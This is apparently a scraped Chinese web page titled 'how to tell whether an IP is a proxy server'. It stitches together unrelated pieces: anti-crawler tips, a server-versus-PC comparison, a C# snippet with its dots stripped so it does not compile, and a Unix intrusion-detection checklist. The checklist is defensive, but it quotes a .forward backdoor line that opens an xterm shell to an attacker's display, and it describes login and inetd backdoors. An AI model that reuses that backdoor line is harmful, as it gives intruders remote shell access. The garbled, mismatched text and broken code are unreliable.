如何判断一个ip是否为代理服务器

如何判断一个ip是否为代理服务器,第1张

1、确认反爬虫策略是否正确
这是一个更大的问题。显然,所有的设置都是正确的,代码也是一样的,可以是访问失败,也可以是成功率很低,有些以前访问是成功的,突然有一天访问完全失败或失败率很高。很多朋友的第一个反应是代理IP质量不够,用>1、Web服务器的漏洞来自两个方面:一、web服务器本身,另一个是所带的其他服务程序。2、>1、浏览器判断,更换多种浏览进行反复测试,也可以使用其他电脑,或者本区域的其他公司电脑进行联动测试,使用热点等方式进行多样化接入测试。
2、使用ping命令ping网站ip地址判断本机与远端服务器的连通性
3、使用tracert命令探测沿途路由器有没有对报文进过滤等问题
4、拨打网站热线电话询问网站是否正常开启

服务器与PC的区别应该从硬件和软件两方面来看,根据应用的不同两者的差别很大,打个比方,PC就是那什么都会的门诊医生,但是医术不是那么精湛,而服务器就应该是某个方面的专家了,处理能力越出
众,它“专”的就越厉害。我先从硬件上,根据各个组件说说他们的不同:
1CPU 服务器CPU的指令一般是采用的RISC(精简指令集)。根据研究,在大多数的应用中,CPU仅仅使用了很少的几种命令,于是研究人员就根据这种情况设计了该指令集,运用集中的各种命令组合来实现各种需求。这种设计的好处就是针对性更强,可以根据不同的需求进行专门的优化,处理效更高。相对应的则是CISC(复杂指令集),他的特点就是尽量把各种常用的功能集成到一块,例如我们常常听到的MMX,SSE,SSE+,3D!NOW!等等都是这种类型的。另外,服务器的CPU设计一般都要考虑它的多路功能,说白了就是好几个甚至上千上万个CPU一起工作的问题,而PC则简单多了,这种多路功能用上实在浪费,而它的价钱也的确是上面兄弟说的,不是谁都能受的了的。(补充:服务器的寻址能力很早前就是64位了;APPEL采用的指令集也是RISC,他是个另类,不过现在已经投靠INTEL了)2内存。内存在服务器上的原则也上越快越大越好,不过它对纠错和稳定提出了更高的要求,比如ECC("错误检查和纠正"好象没人这么叫的)。我们现在使用的PC上很少有人能够用到1G的内存(玩游戏的不算),而在服务器上,这G级的内存有时也会显着捉襟见肘,记得去年国家发布银河最新超级计算机时,他的内存更是达到了1个T;相比内存的速度,人们在应用的时候更优先考虑内存的稳定和纠错能力,只有在保证了这两条,才能再考虑别的东西。
3硬盘。硬盘性能无论是在PC上还是服务器上,性能的提升一直很缓慢,个人认为,依靠机械的发展,硬盘的发展是不可能出现质的飞跃。由于使用服务器的一般都是企业单位,里面都是保存了大量珍贵数据,这对硬盘就提出了安全稳定的要求,硬盘上出现的相关技术也基本上围绕这两个要求转。比如:数据冗余备份,热插拔等。另外,服务器硬盘必须能做到247不间断工作的要求。
4主板这个我了解的比较少,很少看到服务器有主板的说法,不过我觉得应该提提服务器的总线设计——多路,就是多个CPU如何能够协调工作。有兴趣建议你看看 *** 作系统方面的书,看老外写的,很好!
5显卡除了图形和3D设计(那个人家好象都叫工作站,哪位达人知道请告诉我对不对),服务器上的显卡基本上就是你只要能接上显示器能显示就行!
接下来我说说软件,软件就主要指 *** 作系统,比如我们熟悉的NT,2000 SERVER,2003 SERVER,LINUX,SOLRAIS和UNIX等等,都是专门针对服务器设计的,比如:负载均衡,多路CPU的支持。 简单的说电脑一般工作和娱乐之余 一般是会关机的 配置不是很牛如果是服务器 不管什么服务器 一般都是一天24小时随时开着的 顶多一天服务器重启一次 一般网吧服务器就是每天重启一次 其他服务器都是半年或则更久才重启一次 如果是私人电脑半年不关机你试试有什么效果 服务器的散热能力以及处理能力都在个人电脑之上 注意事项:别中毒了 服务器中毒 就相当于 百度服务器有毒了 全中国的人都会中毒 这个厉害关系 另外不碰系统文件那啥的就行了 别动不动拿服务器当个人电脑想重启就重启 想关机就关机就OK了。

using System;
using SystemCollectionsGeneric;
using SystemLinq;
using SystemText;
using SystemNet;
namespace BaiduExample
{
class Program
{
static void Main(string[] args)
{
string ServerName = "IBM-FCC9FCEA3BD";//要判断的服务器名称
List<IPAddress> hostList = DnsGetHostByName(ServerName)AddressListToList<IPAddress>();//获取服务器IP集合
List<IPAddress> locallist = DnsGetHostByName("localhost")AddressListToList<IPAddress>();//获取本地IP集合
bool IsLoalIP = false;//初始化是否本地实例,默认为远程实例
foreach (IPAddress localip in locallist)
{
//循环判断服务器IP是否和本地IP有交集,如果有,则为本地实例
if (hostListFind(delegate(IPAddress hostip) { return localipToString()Equals(hostip); }) != null)
{
IsLoalIP = true;//如果有交集,则为本地实例
}
}
ConsoleWriteLine(stringFormat("{0}是{1}数据库实例", ServerName, IsLoalIP "本地" : "远程"));//输出结果
ConsoleRead();
}
}
}

第一个办法也是最常用的办法,PING值
目标IP,或者域名都可以。 开始菜单 -> 运行 -> 输入CMD -> 在DOS界面输入“ping >

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。

1

   

awk –F:’==0 {print }’ /etc/passwd

   

顺便再检查一下系统里有没有空口令帐户:

1

   

awk –F: ‘length()==0 {print }’ /etc/shadow

   

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以/xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。

接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetdconf文件,输入:cat /etc/inetdconf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换inxxx程序来创建一个后门,比如用/bin/sh 替换掉intelnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} \; 依据core所在的目录、查询core文件来判断是否有入侵行为。

7、rhosts和forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find / -name “rhosts” –print

find / -name “forward” –print

在某用户的$HOME下,rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

看到这里如果想要深入的做安全加固服务以及安全部署

就必须找专业做服务器的安全公司来处理了国内也就Sine安全和绿盟比较专业提供。

Unix下在forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的forward可能设置如下:

\username|"/usr/local/X11/bin/xterm -disp hacksysotherdom:00 –e /bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases) 注意这只是一种简单的变换 更为高级的能够从forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后)利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln -s /var/mail/luser ~/forward

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/forwardBACKUP中。

直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetdconf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/intelnetd intelnetd

可以看到它所使用的文件是 /usr/sbin/intelnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rcd下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?

说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/12573391.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-26
下一篇 2023-05-26

发表评论

登录后才能评论

评论列表(0条)

保存